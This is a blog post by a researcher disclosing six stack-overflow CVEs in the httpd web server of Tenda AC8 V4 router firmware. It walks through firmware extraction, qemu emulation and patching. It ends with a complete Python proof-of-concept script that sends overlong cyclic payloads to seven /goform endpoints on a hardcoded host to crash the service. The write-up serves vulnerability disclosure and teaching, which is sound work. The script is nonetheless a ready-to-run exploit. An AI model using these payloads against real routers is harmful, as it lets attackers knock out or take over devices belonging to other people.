Hacking a Router: Tenda AC8 V4 Stack Overflow & PoCs

Recently, I found the firmware of Tenda is available to the public, thus I started to seek vulnerabilities in it, mostly focused on buffer overflow & rce.

After hours and days of searching, examining, and reproducing; I was finally able to find 7 0day (mostly buffer overflows) from the Tenda AC8V4 firmware. After that, I submitted them to CVE.

Then another long time of waiting.... a few weeks later, I was finally able to acquire & disclose my CVE IDs.
They are

  • CVE-2023-33675,
  • CVE-2023-33673,
  • CVE-2023-33672,
  • CVE-2023-33671,
  • CVE-2023-33670,
  • CVE-2023-33669

With in the 6 vulnerability i submitted, 5 of them are sorted as critical (CVSS v3.0 9.8/10), and one sorted as high (CVSS v3.0 9=7.8/10).

From OpenCVE

Now, I decide to disclose a few details of reproduction and the entire PoC of those CVEs for educational purposes, let's get started!

Reproduction

To begin with, we can download the firmware of AC8v4 at here. (I am not sure if the vulnerable version is still the latest one when you see this)

After that, you will get a zipped file, unzip it, then you will get a Word file that teaches you how to install this on a physical machine and a .bin file.

Then, use binwalk -Me US_AC8V4.0si_V16.03.34.06_cn_TDC01.bin to decompress the file into a normal file system for a router. Additionally, make sure you have already installed sasquatch before this.

After that, cd _US_AC8V4.0si_V16.03.34.06_cn_TDC01.bin.extracted/squashfs-root/ then you can see the file structure of the router, which should look like this:

❯ cd _US_AC8V4.0si_V16.03.34.06_cn_TDC01.bin.extracted/squashfs-root
❯ ls
bin        debug      home       mnt        sys        webroot
cfg        dev        include    proc       tmp        webroot_ro
cfg_bak    etc        init       root       usr
data       etc_ro     lib        sbin       var

Our vulnerabilities take place at bin/httpd, a file that controls the web services of this route. We can use the file to briefly check the properties of this file

❯ file bin/httpd
bin/httpd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-mipsel.so.1, stripped

As we can see here, the file is a 32-bit MIPS executable. Since most computer isn't using mips for their arch, we will need qemu to simulate the target architecture.

What is qemu?

QEMU, which stands for Quick Emulator, is a free and open-source hypervisor that performs hardware virtualization. It is a hosted virtual machine monitor: it emulates the machine's processor through dynamic binary translation and provides a set of different hardware and device models for the machine, enabling it to run a variety of operating systems.

QEMU can run without a host kernel driver and yet gives acceptable performance, thanks to dynamic translation. It supports a variety of target architectures, including but not limited to x86, ARM, MIPS, PowerPC, and SPARC, which makes it a versatile tool for developing, testing, or simply running software for different architectures.

And in Ubuntu, you can install qemu by sudo apt install qemu.

In our case, it will be best if that we simulate only the httpd file but not the whole file system. Because that the file is using mipsel, so we can use this command:

sudo qemu-mipsel-static -L . [YOUR_TARGET_FILE_PATH]

For us, it will be sudo qemu-mipsel-static -L . ./bin/httpd and it should've works. But this came out

    sudo qemu-mipsel-static -L . ./bin/httpd


Yes:

      ****** WeLoveLinux******

 ****** Welcome to ******

It seems like the program has been stuck here. But why??? after cross-referencing the string "Welcome to" in the httpd file, I found out that this is because httpd will run a function called check_network before calling other essential functions. This means that we will have to patch the program. However, to save your time and mine, I will put the patched program here :) or you can try to patch the program by following this

After patching, we still need to create a bridge in order for the httpd file in qemu to get our real ip address:

sudo brctl addbr br0 
sudo brctl addif br0 eth0 <-[This should be your interface on ifconfig] 
sudo ifconfig br0 up 
sudo dhclient br0

After that, if you run the command again the the patched httpd file, it should pobably work and looks like this

 ✘ retr0@pwn  ~/Mac-Pwn/squashfs-root  sudo qemu-mipsel-static -L . ./bin/httpd_fixed


Yes:

      ****** WeLoveLinux******

 ****** Welcome to ******
connect: No such file or directory
func:cfms_mib_proc_handle, line:191 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:191 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:191 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:191 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:191 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:191 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:191 connect cfmd is error.
[httpd][debug]----------------------------webs.c,158
httpd listen ip = 192.168.64.2 port = 80
webs: Listening for HTTP requests at address 192.168.64.2

After that, if you visit the ip shown, you will likely to see the webpage, if it shows 404 or etc, you can run cp -rf ./webroot_ro/* ./webroot/ to make sure all the files are in the correct positions

Should be looking like this :)

Exploiting

After that, we can start to exploit the vulnerabilities! However, I won't dig much deep into the details of those 6 overflows, you can checkout the details by searching those ids I mentioned previously in CVE or My github repo

PoCs

Here are the PoCs, PLEASE DO NOT USE IT AS ANY ILLEGAL PURPOSE

import requests
    
host = "110.72.19.76:8888"
cyclic = b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaulaau"    
    
def exploit_WifiGuestSet():
    url = f"http://{host}/goform/WifiGuestSet"
    data = {
        # b"shareSpeed":b'A'*0x800
        b'shareSpeed':cyclic
    }
    res = requests.post(url=url,data=data)
    print(res.content)
    
def exploit_sub_4a75c0():    
    url = f"http://{host}/goform/SetSysTimeCfg"
    payload = b''
    payload = payload.ljust(0x100,b'A') + b":" + cyclic
    data = {
        b"timeZone":payload
    }
    res = requests.post(url=url,data=data)
    print(res.content)    

def exploit_sub_4a79ec():    
    url = f"http://{host}/goform/SetSysTimeCfg"
    payload = b''
    # payload = payload.ljust(0x100,b'A') + b":" + b"A"*0x400
    data = {
        b"timeType":b"manual",
        b"time":cyclic
    }
    res = requests.post(url=url,data=data)
    print(res.content)

def exploit_saveParentControlInfo():
    url = f"http://{host}/goform/saveParentControlInfo"
    # Use the var44:deviceId
    #Due to v0 = compare_parentcontrol_time(p0); TIME MUST NOT BE NULL
    data = {
        b"time":b"0",
        b"deviceId":cyclic
    }
    res = requests.post(url=url,data=data)
    print(res.content)

def exploit_get_parentControl_list_Info():
    # To be clear, the difference between saveParentControlInfo and get_parentControl_list_Info 
    # is that we don't cause crash in saveParentControlInfo, but we do it in get_parentControl_list_Info 
    # by exploiting the var3c:time parameter, however, in saveParentControlInfo, we use var3c:time 
    # only to bypass the compare_parentcontrol_time(p0)
    
    url = f"http://{host}/goform/saveParentControlInfo"

    # Using the var3c:time
    data = {
        b"time":cyclic
    }
    res = requests.post(url=url,data=data)
    print(res.content)
    
        
def exploit_formSetFirewallCfg():
    url = f"http://{host}/goform/SetFirewallCfg"
    data = {
        b"firewallEn":cyclic
    }
    res = requests.post(url=url,data=data)
    print(res.content)

def exploit_sub_44db3c():
    url = f"http://{host}/goform/fast_setting_wifi_set"
    payload = b''
    payload = payload.ljust(0x100,b'A') + b":" + cyclic
    data = {
        b"ssid":b'1',
        b"timeZone":payload
    }
    res = requests.post(url=url,data=data)
    print(res.content)
    

def pwn():
    pass

# exploit_get_parentControl_list_Info() 
exploit_sub_44db3c()